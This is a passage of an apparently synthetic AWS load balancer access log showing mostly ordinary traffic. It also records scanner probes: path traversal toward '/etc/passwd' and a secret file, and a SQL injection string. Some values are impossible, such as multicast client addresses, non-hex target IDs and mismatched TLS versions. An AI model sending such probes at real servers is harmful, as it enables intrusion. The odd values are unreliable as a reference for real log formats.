"prod-api-alb.example.com" "-" 2 2024-11-01T01:21:50.765005Z "forward" "-" "-" "10.0.254.242:443" "200" "-" "-" -http 2024-11-01T01:21:52.197899Z staging-alb 193.27.228.135:47362 192.86.55.121:80 0.064276 0.159111 0.033390 404 404 389 8023 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cac0-2019bfbd2b3e405aa9ff8b60" "-" "-" 6 2024-11-01T01:21:52.197899Z "forward" "-" "-" "192.86.55.121:80" "404" "-" "-" -https 2024-11-01T01:21:53.275075Z prod-api-alb 235.6.163.128:31327 10.0.178.251:443 0.066170 0.398515 0.095701 302 302 84 10021 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cac1-ba8ec9e4bc634329bc46ad3b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:21:53.275075Z "forward" "-" "-" "10.0.178.251:443" "302" "-" "-" -https 2024-11-01T01:21:53.819367Z prod-web-alb 177.39.196.211:31909 10.0.10.34:443 0.084719 0.064122 0.060560 200 200 240 971 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac1-34162046a30c49c09d2b2844" "prod-web-alb.example.com" "-" 1 2024-11-01T01:21:53.819367Z "forward" "-" "-" "10.0.10.34:443" "200" "-" "-" -https 2024-11-01T01:21:54.328602Z prod-web-alb 193.27.228.174:61138 10.0.50.174:443 0.067148 0.341902 0.029815 404 404 53 486 "GET /static/../../secret HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac2-a5a586c0261d486989edbb8d" "-" "-" 1 2024-11-01T01:21:54.328602Z "forward" "-" "-" "10.0.50.174:443" "404" "-" "-" -http 2024-11-01T01:21:54.598178Z staging-alb 98.48.161.99:14398 136.139.60.43:8080 0.071639 0.121349 0.000008 200 200 277 5026 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cac2-6c92cd68c3b1424a871d54e5" "staging-alb.example.com" "-" 5 2024-11-01T01:21:54.598178Z "forward" "-" "-" "136.139.60.43:8080" "200" "-" "-" -https 2024-11-01T01:21:55.944030Z prod-web-alb 80.200.3.151:16530 10.0.46.249:443 0.021749 0.361983 0.004523 200 200 409 1548 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac3-fb29a4e4d65b49119bb5199a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:21:55.944030Z "forward" "-" "-" "10.0.46.249:443" "200" "-" "-" -https 2024-11-01T01:21:56.513494Z prod-api-alb 12.130.89.130:58844 10.0.109.199:443 0.047316 0.341979 0.017904 302 302 999 299 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cac4-4bb17f3bfc894eea88a209c2" "-" "-" 1 2024-11-01T01:21:56.513494Z "forward" "-" "-" "10.0.109.199:443" "302" "-" "-" -https 2024-11-01T01:21:56.914138Z prod-api-alb 158.252.112.200:25039 10.0.236.69:443 0.095587 0.024251 0.087272 404 404 350 11849 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cac4-0fb849edbd3d492a8baaa973" "prod-api-alb.example.com" "-" 8 2024-11-01T01:21:56.914138Z "forward" "-" "-" "10.0.236.69:443" "404" "-" "-" -https 2024-11-01T01:21:58.470192Z prod-web-alb 194.168.104.108:57035 10.0.190.202:443 0.079688 0.325562 0.053264 200 200 138 800 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac6-dacb867449ca46339ec4b411" "prod-web-alb.example.com" "-" 1 2024-11-01T01:21:58.470192Z "forward" "-" "-" "10.0.190.202:443" "200" "-" "-" -https 2024-11-01T01:21:59.994826Z prod-web-alb 237.189.220.113:49499 10.0.39.212:443 0.027574 0.394395 0.031561 200 200 554 6116 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cac7-088e8a5843384d268e5d518e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:21:59.994826Z "forward" "-" "-" "10.0.39.212:443" "200" "-" "-" -https 2024-11-01T01:22:01.892079Z prod-api-alb 183.114.162.170:35767 10.0.109.219:443 0.060626 0.017522 0.034344 404 404 787 11736 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cac9-abe54667e448489ca5414c66" "prod-api-alb.example.com" "-" 5 2024-11-01T01:22:01.892079Z "forward" "-" "-" "10.0.109.219:443" "404" "-" "-" -https 2024-11-01T01:22:03.209603Z prod-api-alb 180.137.49.164:22305 10.0.96.53:443 0.033910 0.033575 0.048049 404 404 661 2134 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cacb-45ad99e123b94367a411e334" "prod-api-alb.example.com" "-" 0 2024-11-01T01:22:03.209603Z "forward" "-" "-" "10.0.96.53:443" "404" "-" "-" -https 2024-11-01T01:22:03.938412Z prod-api-alb 65.163.38.13:20322 10.0.59.211:443 0.010786 0.149833 0.056017 302 302 233 8799 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cacb-204d0f6ae63e44f588642b86" "prod-api-alb.example.com" "-" 6 2024-11-01T01:22:03.938412Z "forward" "-" "-" "10.0.59.211:443" "302" "-" "-" -https 2024-11-01T01:22:05.872746Z staging-alb 45.155.205.185:26894 192.243.96.95:80 0.090354 0.286424 0.127900 403 403 710 3161 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cacd-07e5dc5ef7f84ecd91e7c592" "-" "-" 9 2024-11-01T01:22:05.872746Z "forward" "-" "-" "192.243.96.95:80" "403" "-" "-" -https 2024-11-01T01:22:06.466608Z prod-api-alb 91.108.208.238:31691 10.0.115.197:443 0.030158 0.180217 0.090141 200 200 901 9579 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cace-e734d019db914842b9001473" "prod-api-alb.example.com" "-" 4 2024-11-01T01:22:06.466608Z "forward" "-" "-" "10.0.115.197:443" "200" "-" "-" -https 2024-11-01T01:22:07.245655Z prod-api-alb 117.59.247.110:47523 10.0.135.238:443 0.035092 0.393985 0.064581 301 301 607 10208 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cacf-f09901d2749c4592bd301fbd" "prod-api-alb.example.com" "-" 7 2024-11-01T01:22:07.245655Z "forward" "-" "-" "10.0.135.238:443" "301" "-" "-" -https 2024-11-01T01:22:08.051704Z staging-alb 92.241.71.107:22253 38.155.224.31:8080 0.097704 0.106570 0.003634 200 200 777 10164 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cad0-97b401c864dc4cb99f2c959d" "staging-alb.example.com" "-" 5 2024-11-01T01:22:08.051704Z "forward" "-" "-" "38.155.224.31:8080" "200" "-" "-" -https 2024-11-01T01:22:08.422626Z prod-web-alb 60.86.105.254:23536 10.0.23.154:443 0.075460 0.083223 0.083295 302 302 216 3417 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad0-e184382bbf5d4892883e8972" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:08.422626Z "forward" "-" "-" "10.0.23.154:443" "302" "-" "-" -https 2024-11-01T01:22:09.175786Z prod-api-alb 24.112.116.41:52572 10.0.143.171:443 0.038775 0.082300 0.030424 200 200 563 11183 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cad1-3c9c34cb9213418b9224fb91" "prod-api-alb.example.com" "-" 3 2024-11-01T01:22:09.175786Z "forward" "-" "-" "10.0.143.171:443" "200" "-" "-" -http 2024-11-01T01:22:09.526791Z staging-alb 72.122.183.224:56248 168.30.152.88:443 0.118966 0.094287 0.004553 404 404 122 10366 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cad1-18887633a4714f15be44c107" "staging-alb.example.com" "-" 3 2024-11-01T01:22:09.526791Z "forward" "-" "-" "168.30.152.88:443" "404" "-" "-" -https 2024-11-01T01:22:09.765403Z prod-web-alb 190.120.244.83:27928 10.0.232.38:443 0.027504 0.359146 0.063416 200 200 224 6558 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cad1-6ef9521898594f07a0de2c6b" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:09.765403Z "forward" "-" "-" "10.0.232.38:443" "200" "-" "-" -https 2024-11-01T01:22:11.106176Z prod-web-alb 219.32.151.98:27372 10.0.181.244:443 0.084473 0.080648 0.052516 200 200 351 10991 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad3-2327f69c2fe44b45973502c5" "prod-web-alb.example.com" "-" 10 2024-11-01T01:22:11.106176Z "forward" "-" "-" "10.0.181.244:443" "200" "-" "-" -https 2024-11-01T01:22:13.097231Z prod-api-alb 130.98.11.215:14435 10.0.163.12:443 0.049589 0.272614 0.047840 301 301 34 2043 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cad5-baa2ff1cb8054dbab4e23aaa" "prod-api-alb.example.com" "-" 1 2024-11-01T01:22:13.097231Z "forward" "-" "-" "10.0.163.12:443" "301" "-" "-" -https 2024-11-01T01:22:13.910362Z prod-api-alb 132.138.45.12:47955 10.0.46.121:443 0.057308 0.253383 0.041848 200 200 172 3620 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cad5-900a613e86a5494b8aea9bf4" "prod-api-alb.example.com" "-" 7 2024-11-01T01:22:13.910362Z "forward" "-" "-" "10.0.46.121:443" "200" "-" "-" -https 2024-11-01T01:22:15.548018Z prod-api-alb 8.189.218.239:53571 10.0.101.216:443 0.047766 0.143991 0.069753 200 200 545 8638 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cad7-b7bdea226bf54c049b9deaa3" "prod-api-alb.example.com" "-" 3 2024-11-01T01:22:15.548018Z "forward" "-" "-" "10.0.101.216:443" "200" "-" "-" -https 2024-11-01T01:22:15.700714Z prod-web-alb 10.254.222.247:22932 10.0.1.232:443 0.007082 0.109120 0.031835 200 200 617 14573 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad7-f702e1af60c04893a940a598" "prod-web-alb.example.com" "-" 5 2024-11-01T01:22:15.700714Z "forward" "-" "-" "10.0.1.232:443" "200" "-" "-" -https 2024-11-01T01:22:16.335754Z prod-web-alb 13.247.170.156:64378 10.0.124.229:443 0.069824 0.089852 0.066424 200 200 4 12886 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad8-f8fd4c14686e49a3a29365bb" "prod-web-alb.example.com" "-" 9 2024-11-01T01:22:16.335754Z "forward" "-" "-" "10.0.124.229:443" "200" "-" "-" -https 2024-11-01T01:22:17.474384Z prod-web-alb 52.44.38.128:39154 10.0.169.85:443 0.046541 0.284050 0.056916 302 302 124 1921 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cad9-d9fa18378772412e8c79595a" "prod-web-alb.example.com" "-" 10 2024-11-01T01:22:17.474384Z "forward" "-" "-" "10.0.169.85:443" "302" "-" "-" -https 2024-11-01T01:22:18.622143Z prod-api-alb 56.170.93.90:36030 10.0.206.13:443 0.002503 0.310715 0.085795 200 200 360 13083 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cada-41fbc66ec5e34bf696766deb" "prod-api-alb.example.com" "-" 9 2024-11-01T01:22:18.622143Z "forward" "-" "-" "10.0.206.13:443" "200" "-" "-" -https 2024-11-01T01:22:19.742055Z prod-web-alb 57.210.203.28:36185 10.0.117.168:443 0.009113 0.349976 0.048779 200 200 382 1633 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cadb-c4e7d0819c3044bb8e8c3bae" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:19.742055Z "forward" "-" "-" "10.0.117.168:443" "200" "-" "-" -https 2024-11-01T01:22:19.857558Z prod-api-alb 223.40.253.126:20220 10.0.19.117:443 0.026227 0.225504 0.024067 200 200 149 3564 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cadb-b7feec3851844f8a836ec636" "prod-api-alb.example.com" "-" 2 2024-11-01T01:22:19.857558Z "forward" "-" "-" "10.0.19.117:443" "200" "-" "-" -https 2024-11-01T01:22:21.056955Z prod-web-alb 26.237.255.141:20884 10.0.40.205:443 0.043416 0.064666 0.041684 404 404 974 10492 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cadd-b54c4999c7294c6686112302" "prod-web-alb.example.com" "-" 6 2024-11-01T01:22:21.056955Z "forward" "-" "-" "10.0.40.205:443" "404" "-" "-" -https 2024-11-01T01:22:22.813307Z prod-web-alb 30.49.21.192:18149 10.0.11.4:443 0.066030 0.394076 0.040408 200 200 882 6488 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cade-1ec164cda20148e3971eab70" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:22.813307Z "forward" "-" "-" "10.0.11.4:443" "200" "-" "-" -https 2024-11-01T01:22:23.389035Z prod-web-alb 185.181.147.41:26379 10.0.101.240:443 0.057144 0.207360 0.076880 403 403 746 6536 "GET /search?q=1' UNION SELECT HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cadf-a1df54cbe8ad493a9d8b973a" "-" "-" 6 2024-11-01T01:22:23.389035Z "forward" "-" "-" "10.0.101.240:443" "403" "-" "-" -https 2024-11-01T01:22:23.760311Z prod-web-alb 127.20.237.65:20190 10.0.178.161:443 0.079183 0.256749 0.023361 200 200 621 11563 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cadf-6d2800fa9a9f412392a5723e" "prod-web-alb.example.com" "-" 2 2024-11-01T01:22:23.760311Z "forward" "-" "-" "10.0.178.161:443" "200" "-" "-" -https 2024-11-01T01:22:24.034633Z prod-web-alb 48.34.65.152:57118 10.0.145.56:443 0.003207 0.347287 0.019166 404 404 127 11410 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cae0-007623302b2b426d970fc176" "prod-web-alb.example.com" "-" 5 2024-11-01T01:22:24.034633Z "forward" "-" "-" "10.0.145.56:443" "404" "-" "-" -https 2024-11-01T01:22:24.684171Z prod-web-alb 193.104.233.39:42679 10.0.185.208:443 0.042958 0.079263 0.009309 200 200 718 1209 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cae0-722baf304101434fa3d49f14" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:24.684171Z "forward" "-" "-" "10.0.185.208:443" "200" "-" "-" -https 2024-11-01T01:22:26.045634Z staging-alb 238.140.229.84:46734 87.209.67.0:8080 0.024764 0.200780 0.112302 200 200 402 7775 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cae2-f0177337290e42c9a48fd4a6" "staging-alb.example.com" "-" 9 2024-11-01T01:22:26.045634Z "forward" "-" "-" "87.209.67.0:8080" "200" "-" "-" -https 2024-11-01T01:22:28.034235Z prod-api-alb 16.92.80.221:28963 10.0.45.232:443 0.079986 0.188748 0.076283 200 200 8 14418 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cae4-40f467ebbcec4a0d90155593" "prod-api-alb.example.com" "-" 6 2024-11-01T01:22:28.034235Z "forward" "-" "-" "10.0.45.232:443" "200" "-" "-" -https 2024-11-01T01:22:28.582966Z staging-alb 196.97.238.39:18231 146.58.175.109:80 0.038441 0.549468 0.125842 200 200 601 917 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cae4-509a81bad77f46f79dcb75e0" "staging-alb.example.com" "-" 4 2024-11-01T01:22:28.582966Z "forward" "-" "-" "146.58.175.109:80" "200" "-" "-" -http 2024-11-01T01:22:29.498304Z staging-alb 18.127.7.158:10176 156.50.72.34:443 0.084861 0.354164 0.121312 200 200 751 12168 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cae5-e523648ff99d4c6aacbcef81" "staging-alb.example.com" "-" 7 2024-11-01T01:22:29.498304Z "forward" "-" "-" "156.50.72.34:443" "200" "-" "-" -https 2024-11-01T01:22:31.241306Z prod-web-alb 37.109.123.225:52226 10.0.90.29:443 0.032531 0.293586 0.087106 200 200 82 3047 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cae7-d13b3150a78e459293d918bb" "prod-web-alb.example.com" "-" 3 2024-11-01T01:22:31.241306Z "forward" "-" "-" "10.0.90.29:443" "200" "-" "-" -https 2024-11-01T01:22:32.945770Z staging-alb 37.244.162.173:39453 133.170.38.170:8080 0.125167 0.326995 0.121817 200 200 881 13648 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cae8-eff7a83b4d0149bcaa6fd2ae" "staging-alb.example.com" "-" 0 2024-11-01T01:22:32.945770Z "forward" "-" "-" "133.170.38.170:8080" "200" "-" "-" -https 2024-11-01T01:22:33.908671Z prod-api-alb 215.73.128.95:43419 10.0.140.244:443 0.000606 0.286183 0.020896 404 404 589 13677 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cae9-ddce01c8424241dd9cb4fe9b" "prod-api-alb.example.com" "-" 2 2024-11-01T01:22:33.908671Z "forward" "-" "-" "10.0.140.244:443" "404" "-" "-" -https 2024-11-01T01:22:34.483228Z prod-api-alb 97.253.46.96:22538 10.0.120.36:443 0.042047 0.418592 0.027443 301 301 506 13952 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caea-546c082e51d34aa29ca61f0d" "prod-api-alb.example.com" "-" 5 2024-11-01T01:22:34.483228Z "forward" "-" "-" "10.0.120.36:443" "301" "-" "-" -https 2024-11-01T01:22:34.929994Z prod-web-alb 14.46.188.247:21340 10.0.101.74:443 0.016733 0.081409 0.082742 200 200 567 1661 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caea-0a8bc0a7120543deb08d8c6a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:34.929994Z "forward" "-" "-" "10.0.101.74:443" "200" "-" "-" -https 2024-11-01T01:22:36.165692Z prod-api-alb 184.14.40.18:53795 10.0.31.240:443 0.019506 0.385927 0.022179 200 200 162 6175 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caec-69c3703120614164bb921511" "-" "-" 5 2024-11-01T01:22:36.165692Z "forward" "-" "-" "10.0.31.240:443" "200" "-" "-" -https 2024-11-01T01:22:37.782129Z prod-web-alb 215.181.200.32:59164 10.0.239.12:443 0.036577 0.100424 0.025325 200 200 328 7631 "GET /assets/main.css 